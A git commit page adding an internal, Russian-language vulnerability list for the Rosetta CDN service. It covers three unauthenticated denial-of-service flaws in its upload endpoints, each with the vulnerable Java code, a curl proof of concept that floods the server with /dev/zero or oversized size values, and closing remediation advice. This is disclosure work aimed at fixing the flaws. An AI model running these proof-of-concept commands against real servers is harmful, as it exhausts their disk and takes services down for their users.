Добавить rosseta_cdn/Cve.txt
This commit is contained in:
132
rosseta_cdn/Cve.txt
Normal file
132
rosseta_cdn/Cve.txt
Normal file
@@ -0,0 +1,132 @@
|
||||
============================================================
|
||||
Rosetta CDN — Local CVE List (критические DoS)
|
||||
============================================================
|
||||
|
||||
CVE-2026-0001 (Unrestricted File Upload DoS)
|
||||
Риск: КРИТИЧЕСКИЙ
|
||||
URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java
|
||||
|
||||
Описание:
|
||||
POST /u не ограничивает размер загружаемого файла. Атакующий может передать
|
||||
бесконечный поток данных, исчерпав всё дисковое пространство и остановив сервис.
|
||||
|
||||
Уязвимый фрагмент (CdnResource.java, метод upload):
|
||||
|
||||
@POST
|
||||
@Path("u")
|
||||
@Produces(MediaType.APPLICATION_JSON)
|
||||
public Response upload(
|
||||
@FormDataParam("file") InputStream inputStream,
|
||||
@QueryParam("ttl") Long ttlMinutes,
|
||||
@QueryParam("ttlMinutes") Long legacyTtlMinutes
|
||||
) {
|
||||
// НЕТ проверки размера InputStream
|
||||
String tag = fileStore.save(inputStream, resolvedTtlMinutes);
|
||||
return Response.ok(Map.of("t", tag)).build();
|
||||
}
|
||||
|
||||
PoC (эксплуатация):
|
||||
|
||||
# Генерация бесконечного потока нулей и отправка как файл
|
||||
curl -X POST https://target/u \
|
||||
-F "file=@/dev/zero;type=application/octet-stream" \
|
||||
-H "Content-Length: 9999999999999"
|
||||
# Диск сервера заполняется, сервис падает.
|
||||
|
||||
============================================================
|
||||
|
||||
CVE-2026-0002 (Chunked Upload Init Resource Exhaustion)
|
||||
Риск: КРИТИЧЕСКИЙ
|
||||
URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java
|
||||
|
||||
Описание:
|
||||
POST /u/init принимает size, chunkSize, chunks без верхних границ.
|
||||
Злоумышленник может запросить резервирование огромного объёма (например,
|
||||
size=9223372036854775807), что приводит к выделению памяти/диска и DoS.
|
||||
|
||||
Уязвимый фрагмент (CdnResource.java, метод initChunkedUpload):
|
||||
|
||||
@POST
|
||||
@Path("u/init")
|
||||
@Consumes(MediaType.APPLICATION_JSON)
|
||||
@Produces(MediaType.APPLICATION_JSON)
|
||||
public Response initChunkedUpload(
|
||||
ChunkedUploadRequest request,
|
||||
@QueryParam("ttl") Long ttlMinutes,
|
||||
@QueryParam("ttlMinutes") Long legacyTtlMinutes
|
||||
) {
|
||||
// Только проверка на null, нет валидации максимума
|
||||
String tag = fileStore.initChunkedUpload(
|
||||
request.size(),
|
||||
request.chunkSize(),
|
||||
request.chunks(),
|
||||
resolvedTtlMinutes
|
||||
);
|
||||
...
|
||||
}
|
||||
|
||||
PoC (эксплуатация):
|
||||
|
||||
# Инициализация чанковой загрузки с гигантским размером
|
||||
curl -X POST https://target/u/init \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"size": 9999999999999, "chunkSize": 1, "chunks": 9999999999999}'
|
||||
# Сервер выделяет ресурсы под этот объём, возможен немедленный отказ.
|
||||
|
||||
============================================================
|
||||
|
||||
CVE-2026-0003 (Chunk Upload Size Bypass)
|
||||
Риск: КРИТИЧЕСКИЙ
|
||||
URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java
|
||||
|
||||
Описание:
|
||||
PUT /u/{tag}/chunks/{index} не проверяет фактический размер загружаемого чанка.
|
||||
Атакующий может отправить чанк размером больше объявленного chunkSize,
|
||||
переполнив выделенное пространство, либо загрузить больше чанков, чем
|
||||
зарезервировано, что также ведёт к исчерпанию диска.
|
||||
|
||||
Уязвимый фрагмент (CdnResource.java, метод uploadChunk):
|
||||
|
||||
@PUT
|
||||
@Path("u/{tag}/chunks/{index}")
|
||||
@Consumes(MediaType.APPLICATION_OCTET_STREAM)
|
||||
public Response uploadChunk(
|
||||
@PathParam("tag") String tag,
|
||||
@PathParam("index") int index,
|
||||
InputStream inputStream
|
||||
) {
|
||||
// НЕТ ограничения на количество читаемых байт
|
||||
fileStore.saveChunk(tag, index, inputStream);
|
||||
return Response.noContent().build();
|
||||
}
|
||||
|
||||
PoC (эксплуатация):
|
||||
|
||||
# 1. Сначала инициализируем загрузку с маленьким chunkSize=1024
|
||||
TAG=$(curl -s -X POST https://target/u/init \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"size": 1024, "chunkSize": 1024, "chunks": 1}' | jq -r '.t')
|
||||
|
||||
# 2. Отправляем чанк значительно большего размера (например, 1 ГБ)
|
||||
curl -X PUT https://target/u/$TAG/chunks/0 \
|
||||
-H "Content-Type: application/octet-stream" \
|
||||
--data-binary @/dev/zero \
|
||||
--limit-rate 100M
|
||||
|
||||
# Чанк записывается полностью, невзирая на заявленный chunkSize.
|
||||
# Многократное повторение с разными индексами или превышение лимита
|
||||
# приводит к переполнению диска и отказу сервиса.
|
||||
|
||||
============================================================
|
||||
Общий комментарий:
|
||||
- Аутентификация отсутствует, любой может вызвать все эндпоинты.
|
||||
- Проблема приоритетная: необходимо внедрить ограничения размера тела
|
||||
запроса, валидацию входных параметров и счётчики чанков.
|
||||
============================================================9
|
||||
}
|
||||
)
|
||||
)
|
||||
}
|
||||
)
|
||||
}
|
||||
)
|
||||
Reference in New Issue
Block a user